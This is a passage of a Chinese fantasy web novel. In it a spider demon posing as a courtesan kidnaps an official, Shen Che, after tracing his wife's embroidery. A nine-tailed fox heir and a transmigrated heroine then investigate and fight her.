提着手中的竹篮,阿秀陷入回忆,当初第一次刚来府里,夫人就是这个样子,坐在凳子上,一言不发地绣团扇,还备了热腾腾的饭菜在等人。面色温柔的妇人神色专注,只是绣完正面又反面,香烛从两指长缩成指尖大小。
直至香烛燃尽,那人还是没有回来。
“这些都烧了吧。”说完这话,沈夫人看着桌子上的团扇,眸光黯淡下来。她打算起身回床上休息,背影一瘸一拐,但拒绝了她的搀扶。
捧着扇子,阿秀一脸不解,她那时才十三岁,也心存好奇,人小胆大,竟直接问出口:“夫人,为何不直接送给老爷呢?您绣得这么好看,老爷一定会喜欢的。”
夫人闻言看向她,眼里带着她读不懂的情绪。当时年纪尚小,如今现在想来,恐怕是屡次失望后的无奈吧。近两年,更是因为身体越发虚弱,刺绣也不能多做,屡屡入睡困难,还请了捉妖人画了符咒镇宅。想起这些往事,阿秀边叹气往伙房走。
将精照旧致的荷包香囊拿到灶台旁,她戴上围裙,弯下腰烧火,看着造型别致的香包投入熊熊燃烧的锅灶中消失不见,叹了口气。这简直是暴殄天物。扔到第五个香包时,一张小字条却随着起身动作,从她围裙里掉了下来。
展开,看到熟悉的笔迹:“秀娘,明日......”
11. 鸳鸯
阿秀脸颊一红,下意识将字条揉皱。左盼右顾看到周围没人,才彻底展开细细端详:“明日卯时,老地方见......韩郎。”
将字条卷起,投入灶中焚毁,她感觉到心脏怦怦直跳。
韩修是阿秀外出采买药材食物遇到的郎中,在药铺打工,为人看诊维持生计,因为总是采买时候碰到,两人一来二去,情投意合也成了相好。看着她在沈家年岁渐长,韩郎不忍,提议两人私奔去别处生活。但是他娘近日病重,急需贵重药材续命。
阿秀一个府上丫鬟,对方一个寒衣郎中,为别人施诊看病也挣不了几个钱,着实这几日着急地发愁。
看着竹篮里的香包,久违地冒出一个念头:“不如拿几个出去卖吧。”
夫人这么善良,一定会原谅她的。
再说,这么好看的香包,一把火烧掉,着实太可惜。救人一命,胜造七级浮屠,这是在给夫人做好事。夫人通情达理,肯定不会怪她的。
人命关天,事不宜迟。阿秀和韩修交待后,次日,韩郎中放下书生架子,支了个小摊,扭扭捏捏在集市上叫卖起来。
或许是药铺郎中叫卖绣花香囊这事太过匪夷所思,也或者单纯市吏今日闲来无事,想找个事做,就撞到了他的摊子面前。
这钱市吏靠着家里关系谋了个一官半职,管理市集,是个油奸耍滑的主,市面货见多了,见这些荷包香囊做工精美,并非凡品,便想据为己有全部没收倒卖,丝毫不管郎中哭诉他母亲病重,丫鬟帮他一事,并要以未在集市登记为由,要将他押送官府。
一来二去,两人争吵起来,引来很多人围观驻足。
双方争执不下时,一道娇媚入骨的女声打断了争执,勾得人心神荡漾:“钱官爷,这是怎么回事?”
出声女子一身粉紫纱裙,千娇百媚之姿,看得人眼睛发直。正是本地栖云阁头牌—挽香。
听说这位头牌知书达礼,琴棋书画无所不通,有人只求和挽香娘子饮茶,不惜一夜豪掷千金,是位难得的妙人。
挽香娘子!那钱市吏一看是栖云阁的头牌,国色天香的美人主动搭讪,乐得眼睛眯成一条细缝,笑眯眯道:“哎,挽香娘子,我道是什么香风,原来是挽香娘子!”
听到这官差的调笑,挽香也不气恼,笑吟吟开口:“今日无事,到街上闲逛。听到官爷在此威风凛凛,便想来一睹官爷风采。”
听到这话,钱市吏乐不可支,也没想到挽香话里有话。
见美人感兴趣,一五一十地将郎中卖香包的事情给交代了,言语间还不忘记夹杂对自身英勇之姿的夸赞。
原来如此,挽香听完后若有所思,无视了市吏求夸奖的眼神,反而拿起那只针脚细密的鸳鸯荷包,对着欲哭无泪的郎中轻声询问:“你说你相好是何人府中?”
听闻这位挽香娘子和不少朝中高官有来往,没准她美言几句,能帮他解决此事。
现下老母需要照顾,而且还有阿秀,他无论如何都不能去衙门。韩郎中不敢隐瞒,低声应答:“工部尚书沈澈沈大人。”
右手摩挲着那只鸳鸯荷包,挽香若有所思。
黑顶褐羽的鸯鸟针法细密,造型别致,和她多年前见过的很像。
也许这次终于能找到那个人了。
摸着手里的荷包思虑片刻,挽香对着赵官吏莞尔一笑:“官爷大人有大量,要不这样吧,未报备的罚金我替这位郎中付了。大家都不容易,和气生财。改日钱官爷来我栖云阁喝一杯,小女一定盛情款待。”
她声音娇嗔,听起来勾魂入骨,早把贪图美色的钱市吏勾得魂不知道哪里去了。见美人如此发话,还盛情相邀,他不好再说什么,收了罚金打着哈哈当这事过去了。
深夜,挽香支开了身边伺候的丫鬟,借口外出,七拐八绕进了一个窄小的胡同。
出来时候窈窕美人不见,取而代之是一个裹着黑布头佝偻着腰的市井妇人,兜兜转转来到工部侍郎沈澈府前,想要悄无声息地进去,发现门口设了捉妖禁制,想要硬闯,却几度被弹开。
正当她发愁之际,吱呀一声,大门打开。
一个小丫鬟拎着洒扫工具出来,嘴里嘟嘟囔囔,正是今日被迫替班的阿秀。
有人的声音从院门内传来:“阿秀,一定要打扫干净点,不要偷懒。”
丫鬟边关门边应着里面人的吩咐:“知道了。”
阿秀?这个名字好生熟悉,挽香记得那日有听到韩郎中慌不择言地提到这个名字。
“小姑娘,”老妇人开口,“这个荷包是你绣的吗?”说着,她拿出那只鸳鸯荷包。
看见这个似曾相识的荷包,阿秀眼神躲闪,摇头拒绝道:“不是,您找错人了。”
心道韩郎中这个傻子,她千叮咛万嘱咐让他一定不要说是谁绣的,以免后续夫人知道了麻烦,怎的竟然被人找上门来。
挽香看到丫鬟支支吾吾的模样,心知有蹊跷,又拿出一锭银子,缓缓开口:“咳咳......是这样,我家夫人很喜欢您做的香包,希望你能多绣几个,必有重赏。”
看到沉甸甸的银子,阿秀有些心动,但是贪小便宜吃大亏,这老妪来历不明,深更半夜出现在这里,怎么想都很奇怪,还是咬着牙拒绝了。
见这丫鬟敬酒不吃吃罚酒,挽香没了耐心,不再客气。
将她拽到一旁暗处,娇媚的眼眸发紫,隐隐现出八眼妖瞳,拽着阿秀的衣领威胁:“快说是谁绣的!不然我吃了你!”
被面前女人的突然变脸吓傻了眼,自小到大没见过妖物的阿秀跌坐在地上,一时说不出话,想起身逃跑,却因为身体本能反应动不了。
见威胁奏效,挽香放缓语气,脸色温柔:“这香囊究竟是谁绣的?”她蹲下身把玩阿秀的头发,将黑色头发在指头上缠了缠,带着阿秀的头皮有些生疼,缓缓道:“不说实话,今天就是你的死期。”
没见过这种阵仗,阿秀吓得不禁要哭出声来,双腿不住地发抖:“是,是沈夫人。”
生死关头她也顾不得什么,干脆一口气全交代了,“夫人绣了好多给沈老爷都不领情。本来是让我烧掉这些荷包香囊,是我自作主张偷出来卖的。求求您,求您不要杀我。我知道错了......”
哦,原来是这样?
得到了想要的答案,挽香心头是前所未有的畅快,感到沉寂已久的血液都开始沸腾起来。
我......终于找到你了。
心情大好,挽香耐心帮阿秀理好额前的碎发,说道:“放心,我现在还杀不了你,忘掉这一切吧。”
说着,在她眼前挥了挥手,施了失忆术,丫鬟的眼神从清醒变得混沌。
过了片刻,清醒过来的阿秀发觉自己跌坐在地上,眼前空无一人,旁边是散落的扫帚和簸箕。
她刚才是不小心摔倒了吗?阿秀揉揉脑袋,爬起来继续干活。
***
栖云阁,栖于云雾,独起高阁,名字听着雅致,却是京城最大的青楼,雕栏玉砌,尽显精巧。
没想到,那沈氏府邸竟然贴了密密麻麻的黄色驱妖符,悄无声息是进不去的。若是大动阵仗,恐怕会惊到缉妖司。
本以为计划能提前,看来现在得另作打算。
不过此次出行也不是全无收获。挽香边上楼边思索着。她今日穿着桃粉色纱衣,行走间裙摆飘摇,像一朵春日盛放的桃花,在一群描眉扑粉的妙龄女子中间格外吸睛,惹得不少寻芳客抬头看来,纷
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纷想展露一手,搏美人一笑。
“挽香姑娘,三水大人又来看你了,说是想和您谈下上次没做完的诗词。”
打扮得花枝招展的吴妈妈,看着归来的挽香欣慰开口。这挽香,可是她们店里的头牌,摇钱树,招财宝,可要好好照看住了。
她听到,敷衍答应一声,“那就让他等着吧。”
步履却未停。今日应付的客人太多了,实在令人疲惫。男人就是这样欠,得不到的才是最好的,多等才能多开销。
“可是,大人说今日一定要见您,不等他就不归家。”吴妈妈小步跟上,不依不饶劝说起来,沈侍郎可是难得的贵客,在这里放了一千两,指名道姓要见她,银子在这,怎么能让煮熟的鸭子飞了,今天无论如何也要让挽香和他见面。
“你说他是谁?”挽香猛地停下,回头,将紧随其后的吴妈妈撞了个趔趄。
“工部侍郎沈澈沈大人。”吴妈妈捂着被撞痛的额头,用两人才能听见的音量小声说道,“这位大人,今日很想见您。”花楼有花楼的规矩,他们这些隐姓埋名的贵客,自然也取个别名方便遮掩行踪。
沈府,沈澈,她怎么会忘了这个,真是踏破铁鞋无觅处,得来全不费工夫。
“好啊,我也很想见他。”挽香理鬓发,莞尔一笑。
工部侍郎沈澈,人如其名,即使为官多年还是一副清雅之气,任谁看了只以为是一个儒雅书生。他听着帘下女子抚琴一曲完毕,心醉神迷。为了见这位知己,可是刚从纪府出来就隐瞒行踪赶来这里,还没开口说什么,却见美人撩起纱帘走过来,纤纤玉手递出一个荷包。
这还是她第一次送他礼物,沈澈有些激动,也学着别人的样子不禁调侃道:“挽香姑娘怎的突然想起绣荷包了?”接过来细细端详,却发现上面只锈了一只鸯鸟。
愿作鸳鸯被,长覆有情人。
常言道:合昏尚知时,鸳鸯不独宿。鸳鸯自古以来成双成对,哪有一只独行的道理,看着挽香似笑非笑的表情,向来饱读诗书的他也有些摸不着头脑,于是又低头研究上面的纹样,略有迟疑:“而且怎么是一只鸳鸯?”
莫非,她在表示什么?
挽香开口:“你认不认得这荷包?”说着,又拿出两三个买来的香包给他看。
看这位沈侍郎摇头的样子,挽香确认了什么,嗤笑,也是个蠢人,连自己夫人常用的几种绣图样式都不认识,看来他们感情不好。
那她可有的做了。
*
马车很快就到了工部侍郎府邸门前,受够了车内窒息的氛围,颜芷提着裙裾先行跳下车,却发现纪绥并未跟上,而是手扶着车厢前的横木,不知在等待什么。
他站在车辕上,长身玉立,见颜芷回头看他,掩唇咳嗽了声,“颜芷,过来扶我。”
世子苍白的脸色显得有些虚弱,惹得周围人群围观驻足,也让缉妖司众人有些愧疚,心想拖着生病之人通宵查案是有些不太妥当。
不是,他还真的装上了?
颜芷对他变脸能力深感佩服,要不是看他在地下杀妖利索得跟砍瓜切菜一样,还真以为是哪家大病初愈的公子哥出来探亲了。
纪绥又咳嗽了声,将胳膊往上抬了下眼神示意她:“记住你的身份,还有我们的约定。”于是颜芷很殷勤利索地扶着纪绥下来。
沈府门口,朱红色大门前,青石地面一尘不染,可见刚刚有人洒扫过。
颜芷跟在纪绥身后,注意到他走到第一节石阶前时,抬起的脚步停顿了一下,面露古怪。
引用来源
愿作鸳鸯被,长覆有情人。-《鸳鸯篇》李德裕(唐)
合昏尚知时,鸳鸯不独宿。-《佳人》杜甫(唐)
12. 栖云阁
“殿下,怎么了?”看到眼前人难得踌躇了一下,颜芷难得入戏,不禁开口。
台阶上能有什么问题?
是妖类的气息,一定不久前来过这里。察觉到同类的味道,纪绥皱眉。
但对方早就做好准备,还特地用了散魂香掩盖,他一时间辨别不出来是什么妖。
纪绥微微摇头,姿态依旧优雅得很,轻摇着扇子,活脱脱一副风流贵公子的模样。
听到一早有贵客登门来访,沈府家仆早就站在大门两侧准备迎接。
个个笑容谦卑,态度恭敬。丫鬟阿秀也在其中,想一睹世子风采。听说这定安侯世子鲜少出门,若是出门也一般带着面具,这可是难得的机会。
有些在前排迎候的婢女看到纪绥的脸,不由得脸颊一红,转身做事。还有些胆大的,还想死盯着他的脸看,见纪绥回望过来,又害羞地低下了头。
看到她们的动作,颜芷心下了然,纪绥这张脸,自小娇生惯养,又有九尾狐种族优势加持,的确是颜如宋玉,貌比潘安,称得上公子世无双。
在小说中,这反派是一个温柔的贵公子形象,为人温和,爱慕者无数,但知晓他真面目的人,要不像龙女那般被他囚禁,要不还没开口就被他杀了,还丢下个小命不保如同走空中钢丝的自己。
见世子殿下携着一群缉妖司巡捕浩浩荡荡来访,管家恭敬作揖:“世子见谅。夫人因为腿脚有疾,不便出来迎接,在内堂等待。”
点头表示知晓,纪绥对众人的打量见怪不怪,一边闲庭信步,一边余光留意着身后的颜芷有没有跟上来。
若是这府里有妖怪,他可得多加防备,可别让她小命丢了连累自己。想来还是大意了,应该出门前将她锁在纪府里一个安静的地方,谁也找不到的地方,这样最安全。
随着捕快步入内堂,颜芷边走边听他们交谈,礼部侍郎沈澈出身寒门,爱好诗文,学富五车,喜独来独往,一般不与达官贵人交往。这沈府种的也是苍松翠竹之类的,少见鲜艳的花草,显得很是清幽。
这样的人,平常鲜少与别人来往,清廉声名在外,究竟会被何人或者何妖绑架?
内堂里,一位穿着钿钗礼衣的女子端坐在一旁,双目无神,眼角泛红,好像刚刚哭过。
正是工部侍郎沈澈的夫人。
她见到世子,忙不迭行礼跪拜,因为腿脚不便,被身边的丫鬟搀扶起来。
听刚才交谈说沈氏夫妇夫唱妇随,格外恩爱,颜芷观察,这沈夫人虽面若银盘,肌肤泽润,看起来生活并没有受到亏待,但眼神总是透露出一些死气,就像是一朵没有香味的假花,外表看起来美丽动人,实则毫无灵魂。
本意就是来查案,纪绥不再客套,直接开门见山:“沈夫人,你近日出门可有遇见什么可疑的人?或者家里可有来什么外人?或者,你们可有仇家。”
“回殿下,未有。”被唤做沈夫人的女子柔声回道。
因为沈澈的要求,她平日里大门不出二门不迈,并没有可以交心的好友或亲人,唯一的爱好便是刺绣。可这双能刺绣的手前些日子也废了。现下沈澈失踪,她真是六神无主。
可为何那侍郎偏偏在这个档口失踪,难道是伏天大典出了问题?纪绥蹙眉,又问道:“那你们府上的仆人都一一盘问过了吗?可有人接触外来可疑人士?”
一旁的丫鬟阿秀正在擦拭着桌台,听到他的问话,不由得一颤,手上的湿抹布掉了下来,发出啪嗒的声响。
看向声音传来的方向,九尾狐眼神危险,一股无形的杀气自他周身散发开来。
糟糕,他不会是要当场杀人吧?
颜芷心下一紧,忙不迭拉住他的衣袖,眼神示意他莫冲动。却见对方敛去气息,回望她一眼,向沈夫人的方向沉沉开口:“沈夫人,您的丫鬟似乎有蹊跷啊?”
得益于树妖木灵,纪绥的妖力大大增强,五感更加敏锐,不用接触,他能感觉到这丫鬟身上还有些残存的黑气,一定是接触了什么东西。
听闻这话,阿秀以为倒卖荷包事情败漏,扑通一声跪倒在地,不住磕头求饶:“夫人对不起,奴婢罪该万死,我前些日子把您做的香囊拿出去卖了。奴婢不是故意的,是为了给亲人治病救急,求求您原谅我这次。”
听到阿秀的回答,沈夫人的脸色微微发白,又即可恢复镇定,说道:“无妨,但你可有见过什么人?”
阿秀摇头,一脸茫然。
缉妖司首领秦洛上前查探,摇摇头,并未发现异常,把怀疑的目光投向纪绥。听说这世子被侯爷吩咐出于防身需要,修习了些玄法,不会是学艺不精,胡乱发言?
“世子,您该不会在说笑吧?”
虽说他贵为世子,但涉及到伏天大典。此乃国之盛事,圣上最为看重,若是出了差错,谁也担当不起。
他们几个脑袋都不够砍的。
正思考下一步该如何做,颜芷察觉到手上一紧,却见九尾狐回头看她,右手握住她,淡声道:“无妨,我身旁这位女子精通玄法,让她查探下记忆,一探便知蹊跷。’’
男人掌心带着薄茧,刚一碰到她的手背,颜芷顿感一股陌生电流从相接处忽地绽开,继而传遍全身,下意识想挣开,却被死死拽住。
察觉到女子想挣脱,莫名其妙的不适之感泛上纪绥心头。只是碰一下,何必反应这么大?而且,明明和别人肢体接触都没问题,和他就这么勉强?他还没说自己有洁癖,这女子反倒先嫌弃起他来了?
而听到世子放话的众人,纷纷诧异地看向那位从一开始就安静站着默不出声的清丽女子。
长相清秀,不言不语,难道真的是位身怀秘术?
一时间,颜芷成了目光焦点。那目光中有
什么也没做,突然头上就被扣了顶大锅,顿觉压力重重。
这是何意?
问询的目光刚一接触到男人,颜芷就听见一个极其微弱的隔空传音:“照我说的做,她就不会死。”
转念一想,她就明白了纪绥的意思,原来缉妖司在这里,他不方便出手,只能借助她的身份来探查。
怪不得他要出门带上自己。
临危受命闭眼,颜芷按指示将掌心探向阿秀额顶,感觉到两人手掌相接处有细微白色灵气涌过,带动脑海清明,探入阿秀的脑海记忆,影影绰绰间,一个突然露出八瞳的陌生扮相的妇人,还有一个年轻郎中,各种影像在脑海中来回跳跃。
回忆突然中断,颜芷才发觉自己不知什么时候出了一身冷汗,脑袋发晕,身子募地发软将要摔倒之际,被身侧人扶住,落进一个坚实的怀抱。
看向冰冷的黑
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石地面,颜芷有些心悸。
一码归一码。要不是这人出手,直接摔地面感觉真不怎么样,她道了声谢,慌忙将男人推开。
怀里的温热触感瞬间消失,纪绥好整以暇,微微挑眉,凡人都这么弱吗?只不过是分她一些灵力查探,就能耗尽大半体力。
看来回去得给她加点药草汤,滋补一下。
别这凡人一不小心丢了性命,连累到他。
闭眼深呼吸,颜芷整理了一番思绪,查探的方向渐渐明朗,所有搜集来的线索指向一个可疑对象——栖云阁。将探听到的记忆告诉了纪绥,对方沉思片刻,告诉了缉妖司两个方向:幽泽林、栖云阁。
幽泽林?
颜芷知道,那是刚穿越来时的逃出地。
可栖云阁又是什么?
为何众人听到这个字眼,都脸色一变。
*
栖云阁,本地最大的青楼。
听到这个字眼,沈夫人脸色募地惨白一片,在她心中,丈夫洁身自好,绝不可能去那等烟花柳巷之地寻欢作乐。
她开口,有些底气不足:“许是你们弄错了?’’
半晌,又低头自顾自否认道:“那多谢各位帮忙,劳烦找找我夫君下落了。”
自沈澈入仕为官这么多年,她也越来越不了解枕边人的想法,两人之间能说的话越来越少。事到如今,她也不能说自己全然了解他。
查探出线索,众人兵分两路,大部队前往幽泽林。纪绥和颜芷则带三两人前往栖云阁。
在马车上,颜芷回想纪绥刚才的表现,心中有些异样,这反派竟然真的听她的话没有杀人?她从来没指望过别人听她的话,凡事也只依靠客观理性判断,自己行动。这是二十多年来的生存经历教给她的唯一行事准则。
所以他一定因为什么奇怪的限制受制于自己。
察觉到对方探究望过来的目光,颜芷故作镇定开口:“那木魅是不是在你我身上做了什么联结,让你必须保护我?”
这问题,她从刚才一上车就一直想问了。
根据小说的设定,凡人借助妖怪的法力必须要有某种契约联结,昏迷之前,隐约听到“生死”“复仇”等字眼,联想到逃出以后纪绥对她的态度,还有种种表现,这猜测不算奇怪。
这女子不算太笨,心思玲珑,竟能猜到这般地步?
纪绥闻言,一瞬间未能将诧异掩住,眨眼间照样恢复往日轻佻多情的面色。
“怎么可能?你多想了。我只不过身份不便暴露,需要一个帮手而已。”
随即扭过头去。
看到对方的神色,颜芷有了几分确定。算了,他不告诉她,一会儿想个办法验证就好。
片刻后,又抛出一个问题:“我没有看到幽泽林,你为什么要让缉妖司去那里?”
她分明没有从阿秀回忆里读取到关于幽泽林的任何线索。既然目的都是为了尽快找出工部侍郎,为何要说这个谎?
听到这个问题,九尾狐轻笑出声:“你一会儿就知道了。”
那当然是因为他从中闻到了浓郁的黑气,太多缉妖司的人在场会影响他吞噬黑气。老实讲,他并不害怕那帮缉妖司的废物,修习能力一般还总是到处耀武扬威。
但此事若是惊动当今圣上,就不好办事了。
13. 百转千愁丝
“沈大人,今日又这么早回府?难道是惧内?可我听闻令夫人温柔贤淑,并非泼辣之相啊。”下朝时,身边同僚调侃道。
身着深红官服的沈澈清隽儒雅,闻言含笑摇头,不置可否。
其实他也不想这么早就回府,和早就没话可说的夫人面面相觑。
奈何作为一名单打独斗爬上来的寒门书生,他并无酒肉好友可以共饮。
想起这,不免有些心郁憋闷。
察觉到往日动作利落的工部侍郎难得有些犹豫,同僚试探开口:“听说栖云阁新来了一位女子,才貌俱佳,沈大人有没有心思去看个热闹?”
那等粗俗之地?他向来束身自修,对这种事不感兴趣。沈澈闻言摇了摇头。
见沈澈无动于衷,同僚不死心,又劝道:“听说格外懂字画,想必和沈大人您很有话聊。”看侍郎神色动摇,又再接再励添了把火,“我近日得了一幅浅绛山水画,似乎出自名家之手,就放在那里,想请沈兄品鉴品鉴。”
只是去品鉴书画,应该不成问题吧?
沈澈心思微动,差来小厮吩咐,“你回去通知夫人一声,说我和同僚应酬,让她早日歇息。”
于是,这位清正的官员一掀衣袍,踏上了同行的马车。
坐在歌舞升平的雅厅,沈澈莫名有些后悔,但看着舞姬飘逸的身姿,又想起夫人走路微跛的背影。
他拿起一杯酒一饮而尽,想借助酒液的苦辣将心中苦闷和悔意强压下去。
当然了,从小青梅竹马长大,他还是很感激她的。毕竟没有她的扶持,他上京赶考的餐食和路费谈何容易。
寒窗苦读数载不愁生计,她彻夜缝纫贴补家用功不可没。
只是作为一个已婚妇人,还是一个瘸子,现在又身为侍郎夫人,还在外面抛头露面叫卖东西像什么样子?
何况,他也不想让她出门,这样难免会让他想起自己被不知事的街邻嚼舌根吃软饭的过往。
如此这般,沈澈劝慰自己。
妇人嘛,婦,服也。从女,持帚,洒埽也。会意。谓服事人者。
夫妻之间,没有了爱意滋养,唯有恩情可以消磨。好不容易苦尽甘来,他自是不会让她做这些粗活,洒扫服侍,自有下人去做。但是,子之妻曰妇。自古以来,夫唱妇随,理应如此。
就继续呆在家里,成为一名贤妇。就足够了。
哪怕她就静静地坐在那里,慢慢地枯萎凋零,也是瓷瓶里的一支花,不必再受风吹雨打,不是吗?
正如此思索着,一位蒙面的紫纱女子袅袅婷婷走来,打断了他的思考:“沈大人~”
“沈大人~”
女子的呼唤将他从混沌中叫醒,沈澈才发觉嘴里塞着一团白布,双手被反绑着,样子很是狼狈,被关在一间厢房角落里。
他怎么会在这里?明明刚才还在和挽香娘子对饮,挽香?
想起这里,他抬头看向刚才叫他的人。
昔日言笑晏晏的挽香姑娘现在变了一副面孔,面无表情地翘腿坐在椅子上看着他,看他要说话,手腕轻轻翻转,白布团自动从他嘴里移开。
“唔......你要做什么?”他不明白为什么对方变脸如此之快。
难道这些天的知己闲谈柔情蜜意都是虚以委蛇,逢场作戏?
她到底想做什么?
面上不显,沈澈暗地里磨动手上的绳子,却发现这绳子异常结实,怎么也打不开,妥协开口:“你如果要工程营造机密,我无可奉告;你要图财的话,我尚有碎银几两,不要伤害无辜......”
“别动,我在等人。”挽香见他翻来覆去半天说了些废话,又不耐地将他嘴堵住,托腮看向窗外。
沈澈闻言,心想还是不能指望对方开口放人。谁知,他刚一动手指,那手腕上的绳子似有感应,悄无声息地越勒越紧,一股钻心的疼痛蔓延开来。竟是要将他的手腕勒出血来。
“不要做无谓的挣扎。这绳子,你越动,缠得越紧。除非你想死得快一点。”连瞟都没瞟男人一眼,挽香蹙起眉头,冷冷开口。
她们一族祖传真丝,哪是普通人能挣脱的。
“你......你究竟是什么妖怪?”终于察觉到对方并非人类,沈澈拼命将嘴里的布团吐出来,质问道。
虽然大宴朝已近几年未见过大妖,偶有出现也是强力手段消灭,但难保不会有小妖趁伏天大典筹备前夕,举国欢庆之时混进来,为非作歹。
“我是什么,你不必清楚。只要等着你夫人来就好。”挽香微微抬手,施法将塞在他嘴里的白布捂得更紧了些,免得他再说话。
这人怎么还不来?
她已经找人秘密给沈府递了信。据打听,这沈夫人和工部侍郎是青梅竹马,伉俪情深,看她小时候的做法,这次也会来救他的吧?
马车吱嘎吱嘎的声音由远及近传来,挽香眉头微扬,有些放松。难道她这么快就来了?
将关沈澈的屋子做好布置,确保任何人都不能进入,她兴高采烈疾步下楼,却看到一对意想不到的陌生男女。
那白衣男子她认识,正是大宴朝大名鼎鼎的定安侯世子-纪绥。
但这粉衣女子是谁?
还有身后跟着的几名耀武扬威的缉妖司巡捕,她能从中嗅出危险的气息,来者不善啊?
颜芷看到一位妩媚的紫衣姑娘缓缓下楼,举手投足之间流露出万种风情,轻启唇齿:“呦,什么风把世子您给吹来了?值得大驾光临寒舍?来玩呀?”说着便要搭上他的肩膀。
纪绥闻到了熟悉的黑气,不留痕迹地侧身一躲,摇着扇子开口:“我来当然是有要事要办。人多眼杂,找个清净地方说话吧。”
挽香看他这动作,又看一旁的颜芷,心下了然,笑道:“好啊,公子既有佳人在侧,何必来我这里呢?”
说着,还状似伤心地拿衣袖掩住面容:“还惹得挽香讨嫌了呢。”
听她这说辞,颜芷下意识本想否认,想到一会儿要试探的方法又吞下了声。挽、香,这姑娘名字她在阿秀的回忆里听过,没准也是侍郎失踪的重要线索之一。
跟着众人的脚步来到一间上等厢房,颜芷就看到纪绥吩咐缉妖司巡捕退了出去。
九尾狐手指轻轻一动,施加了个屏障,将三人和外人隔开,毫不客气发问:“沈澈失踪的事是你做的吧?”
没想到他如此开门见山,挽香娇媚脸色一变:“是又怎样?”
说话间,她一只手背到身后,紫色雾气慢慢聚拢汇集。
一挥扇子,那雾气倏然消失,纪绥漫不经心开口:“姑娘何必动大动肝火,只是工部侍郎负责下个月的伏天大典事宜。”
“你让他在这个节骨眼上失踪,我很难办啊。”虽然对方语气轻佻,但其中威胁之意,溢于言表。
挽香闻言:“我和别人有约在先,这事也拖不得。”见对方态度强硬,便想先发制人先下手为强。
说话间,吐出数十道粗长的紫色蛛丝,直扑纪绥面门而去。
纪绥笑道,将对方的攻击挥扇一挡,碗口大的蛛丝顿时烟消云散:“我来这可不是和你商量的,看你这蜘蛛妖修炼很久了吧,一身黑气萦绕不散,看来是要驱驱邪。那勉强就当做耽误我时间的补偿吧。”
虽然不久前才吞噬了树妖的黑气需要一段时间消化,但眼前这只蜘蛛妖不足百岁,也没有食人之兆,对付起来绰绰有余。
两人对打起来,妖气四溢,所到之处一片狼藉,颜芷只能竭力躲开。虽然九尾狐妖力比蜘蛛妖强太多,但挽香借助熟悉房间布局的优势边躲边设陷阱,竟也扛下几分攻击,只是逐渐有些体力不支,哇的一声吐出一口黑血。
糟糕,这世子竟然并非凡人,而是妖力强大的九尾狐。挽香捂着胸口后知后觉意识到这个事实。再拖延下去,她胜算并不多。可已经到了这个档口,一定不能退缩,一定要等来那人。
欸?看到一旁躲藏的粉衣女子
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背影,挽香心里有了计较。
既然如此,那就不怪她不客气了。
一伸手,粗长的蜘蛛丝奔向颜芷,颜芷拿起椅子遮挡,那看似牢固的木椅却被霎时间劈得四分五裂。
千钧一发之际,蛛丝被霸道掌风斩断,抬眼一看,是纪绥。
见她没事,九尾狐松了口气,见掌控之物被别人威胁,越发下狠手,想把这只蜘蛛妖快点解决掉。
原来如此,看来他真的有不得不出手保护她的理由。
颜芷边跑边思索,原书并未提及这段剧情,只是简单交待了九尾狐在被龙女重伤后休养了一段时间,之后再出场就是实力大增全面黑化状态,周身黑气缭绕不散,应该是吞噬了一些妖怪和黑气导致的。
可现下这个情况,她左右为难。如果不拦住纪绥,他一会儿像吞噬树妖那样狂性大发把蜘蛛妖吞了,系统任务会剧情崩坏更快更加严重;可如果帮蜘蛛妖,自己的命又和九尾狐联系在一起,只会是同归于尽的结局。
到时候剧情烂尾,反派走向灭世结局,自己还是回不了家。
而且因为屏障设置,现在呼救,外面的缉妖司巡捕根本听不到。
这可怎么办?
正当她一筹莫展的时候,一旁的木头衣柜传来轻微的动静,露出一片靛蓝衣角。
应该是有人藏在那里!想到失踪的工部侍郎,颜芷心下一动,朝那里小心靠近。只要把沈澈找出来,一切或许有转机。她屏住呼吸前进,终于接近木柜。她如释重负地打开木门,想要将衣柜里的人拽出,却不小心碰到边上悬挂的半透明蛛丝。
霎时间,如同心电感应般,挽香察觉到屏障被破坏,朝蛛丝被破坏的方向张开五指,暗紫色的蛛丝在空中离颜芷半步时,被纪绥挥来的扇子打着旋儿截断,紫色蛛网洒落一地,像凭空断掉的光滑绸缎。
挽香见状,验证了自己的猜想,撩起衣袖擦去脸上的污血,莞尔一笑:“好戏还在后头呢!”
还没松口气,颜芷就看到被砍断的蜘蛛丝以迅雷不及掩耳之势迅速拉长扩大,结成一个厚厚的半人高的茧朝自己快速包裹过来。这蜘蛛丝看似轻薄,却无比坚韧,她根本扯不断,只能在越来越紧的蛛丝之中被迫窒息。
“多亏了世子出手,要不我还没有这么容易抓住她呢。”挽回几分胜算,挽香开心笑道,看到纪绥慌张的神色深感痛快,“论妖力,我自然不如世子。但论揣度心思我未必逊于你。”
她在人间这几年也不是白混的。她刚才观察到纪绥对身边这女子几次三番回头留意,此番动作正是在赌这世子对这女子的情谊,若他不出手,那女子反而安然无恙,若他出手,那女子必中陷阱。所谓关心则乱,正是如此。
“小心!”没想到自己出手反而帮了倒忙,想起老树精同命相连的诅咒,纪绥顾不得到手的蜘蛛妖,朝颜芷所在的方向奔去,却只抓住她的右手,随后也被扯进了裹得严严实实的蜘蛛网里。
还在粘稠的蜘蛛丝里挣扎,颜芷看到紫衣女子朝纪绥的后心放出深紫色的蜘蛛丝。糟糕,她瞳孔一缩,情急之下将他抱住反身一挡。
噗嗤,是锐物入体的声音。
似乎没想到有朝一日居然会被一个柔弱人类保护,纪绥瞳孔募地睁大。
好晕,颜芷在意识昏沉前,看到他不可置信的眼神,远远传来蜘蛛妖的一声冷笑:“好好享受吧,你生命中最深刻的回忆。”
她们蛛妖一族最擅纺织,织梦当然也不在话下。之前,她就靠蛛丝织梦哄骗那些人类男子。
现在?挽香看着被蛛网逐渐包裹起来的两人,微微一笑。没想到那姓纪的这么好命,还被这弱女子保护了。不过蛛丝射中谁都不差,她的这百转千愁丝织成的蛛网可是能勾起藏于心中最痛苦的噩梦回忆。
既然一同被困在网中,能不能醒过来就看他们自己造化了。
引用
婦,服也。从女,持帚,洒埽也。会意。谓服事人者。——《说文》
14. 玩偶
“小华,这是院长发的新玩具,你去拿给她。”
穿着粉色连衣裙的小女孩长相乖巧,举着一个红色皮球,看起来有些为难。今天轮到她给大家发玩具,但是对方太孤僻,她不敢靠近。
“不要,她长得好可怕,你去给。”五岁的小男孩边吮着棒棒糖,用力吸了一口气,从鼻孔跑出来的鼻涕泡随着动作灵活地缩了回去。
